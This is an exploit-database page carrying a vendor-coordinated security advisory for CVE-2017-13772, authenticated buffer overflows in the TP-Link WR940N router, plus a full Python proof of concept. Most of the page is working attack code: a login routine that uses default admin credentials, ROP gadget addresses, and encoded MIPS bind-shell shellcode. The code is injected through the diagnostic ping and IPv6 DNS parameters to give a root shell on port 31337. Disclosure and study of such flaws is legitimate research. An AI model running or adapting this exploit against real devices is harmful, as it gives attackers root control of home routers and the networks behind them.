TP-Link WR940N Remote Code Execution



EKU-ID: 7019 CVE: 2017-13772 OSVDB-ID:
Author: Tim Carrington Published: 2017-10-23 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


** Advisory Information

Title: TP-Link Remote Code Execution
Blog URL: https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/
Vendor: TP-Link
Date Published: 19/10/2017
CVE: CVE-2017-13772


** Vulnerability Summary

Numerous remote code execution paths were discovered in TP-Link's
WR940N home WiFi router. Valid credentials are required for this
attack path. It is possible for an authenticated attacker to obtain a
remote shell with root privileges.


** Details

There were multiple occurrences of strcpy being used in an unsafe
manner, resulting in a trivial buffer overflow condition. It is also
possible to cause a Denial of Service on the web service.

Using the aDiagnostica page, an attacker could utilise the built in
apinga feature of the router to cause either; a Denial of Service
attack to crash the web server or exploit a buffer overflow condition
to obtain a remote root shell.


** Vendor Response

TP-Link have released a new version of the firmware thus mitigating
exploitation of this issue.


** Report Timeline

* Disclosed to vendor a 11/8/2017
* Response from vendor, request for initial advisory a 14/8/2017
* Initial advisory sent a 14/8/2017
* Beta patch sent for testing by vendor a 17/8/2017
* Patch confirmed to work, however other vulnerable locations were
identified, a second exploit was written to demonstrate this. Sent to
vendor a 17/8/2017
* Response by vendor, will look into the other vulnerable locations a 18/8/2017
* Second patch sent for testing by vendor a 25/8/17
* Patch confirmed to mitigate vulnerabilities (500+ calls to strcpy
removed) a 29/8/2017
* Patch released a 28/9/2017 (Only HW V5 US)

** Credit

This vulnerability was discovered by Tim Carrington, part of the Fidus
Information Security research team.


** References

https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/


** Disclaimer

This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/


Proof of concept:

import urllib2
import base64
import hashlib
from optparse import *
import sys
import urllibbanner = (
"___________________________________________________________________________\n"
"WR940N Authenticated Remote Code Exploit\n"
"This exploit will open a bind shell on the remote target\n"
"The port is 31337, you can change that in the code if you wish\n"
"This exploit requires authentication, if you know the creds, then\n"
"use the -u -p options, otherwise default is admin:admin\n"
"___________________________________________________________________________"
)
 
def login(ip, user, pwd):
    print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd)
     
    #### Generate the auth cookie of the form b64enc('admin:' + md5('admin'))
    hash = hashlib.md5()
    hash.update(pwd)
    auth_string = "%s:%s" %(user, hash.hexdigest())
    encoded_string = base64.b64encode(auth_string)
    print "[+] Encoded authorisation: %s" %encoded_string
     
    #### Send the request
    url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save"
    print "[+] sending login to " + url
    req = urllib2.Request(url)
    req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string)
    resp = urllib2.urlopen(req)
     
    #### The server generates a random path for further requests, grab that here
    data = resp.read()
    next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3])
    print "[+] Got random path for next stage, url is now %s" %next_url
     
    return (next_url, encoded_string)
 
#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
"\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99"
"\x27\xb2\x05\x4b" #0x27b2059f for first_exploit
"\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9"
"\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41"
"\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d"
"\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71"
"\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d"
"\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99"
"\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5"
"\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad"
"\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9"
"\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1"
"\x02\x2a\x18\x26\xae\x43\xff\xc1"
 
#sleep
"\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08"
"\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"
"\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c"
 
################ encoded shellcode ###############
"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06"
"\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff"
"\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d"
"\x7a\x69"            #<aaaaaaaa- PORT 0x7a69 (31337)
"\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad"
"\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc"
"\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01"
"\x01\x0c\x24\x0f\x73\x50"
"\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f"
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48"
"\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f"
"\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50"
"\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f"
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c"
"\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce"
"\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8"
"\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02"
"\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"
"\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c"
)
 
###### useful gadgets #######
nop = "\x22\x51\x44\x44"
gadg_1 = "\x2A\xB3\x7C\x60"
gadg_2 = "\x2A\xB1\x78\x40"
sleep_addr = "\x2a\xb3\x50\x90"
stack_gadg = "\x2A\xAF\x84\xC0"
call_code = "\x2A\xB2\xDC\xF0"
 
def first_exploit(url, auth):
    #                      trash $s1        $ra
    rop = "A"*164 + gadg_2  + gadg_1 + "B"*0x20 + sleep_addr + "C"*4
    rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode
     
    params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'}
     
    new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params)
     
    print "[+] sending exploit..."
    print "[+] Wait a couple of seconds before connecting"
    print "[+] When you are finished do http -r to reset the http service"
     
    req = urllib2.Request(new_url)
    req.add_header('Cookie', 'Authorization=Basic %s' %auth)
    req.add_header('Referer', url + "DiagnosticRpm.htm")
     
    resp = urllib2.urlopen(req)
 
def second_exploit(url, auth):
    url = url + "WanStaticIpV6CfgRpm.htm?"
    #                 trash      s0      s1      s2       s3     s4      ret     shellcode
    payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c
    payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4
    payload += stack_gadg + "A"*4 +  nop*10 + shellcode + "B"*7
    print len(payload)
     
    params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1',
    'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000',
    'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA',
    'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'}
     
    new_url = url + urllib.urlencode(params)
     
    print "[+] sending exploita|"
    print "[+] Wait a couple of seconds before connecting"
    print "[+] When you are finished do http -r to reset the http service"
     
    req = urllib2.Request(new_url)
    req.add_header('Cookie', 'Authorization=Basic %s' %auth)
    req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm")
     
    resp = urllib2.urlopen(req)
 
if __name__ == '__main__':
    print banner
    username = "admin"
    password = "admin"
 
    parser = OptionParser()
    parser.add_option("-t", "atarget", dest="host",
    help="target ip address")
     
    parser.add_option("-u", "auser", dest="username",
    help="username for authentication",
    default="admin")
     
    parser.add_option("-p", "apassword", dest="password",
    help="password for authentication",
    default="admin")
     
    (options, args) = parser.parse_args()
     
    if options.host is None:
    parser.error("[x] A host name is required at the minimum [x]")
     
    if options.username is not None:
    username = options.username
    if options.password is not None:
    password = options.password
     
    (next_url, encoded_string) = login(options.host, username, password)
     
    ###### Both exploits result in the same bind shell ######
    #first_exploit(data[0], data[1])
    second_exploit(next_url, encoded_string).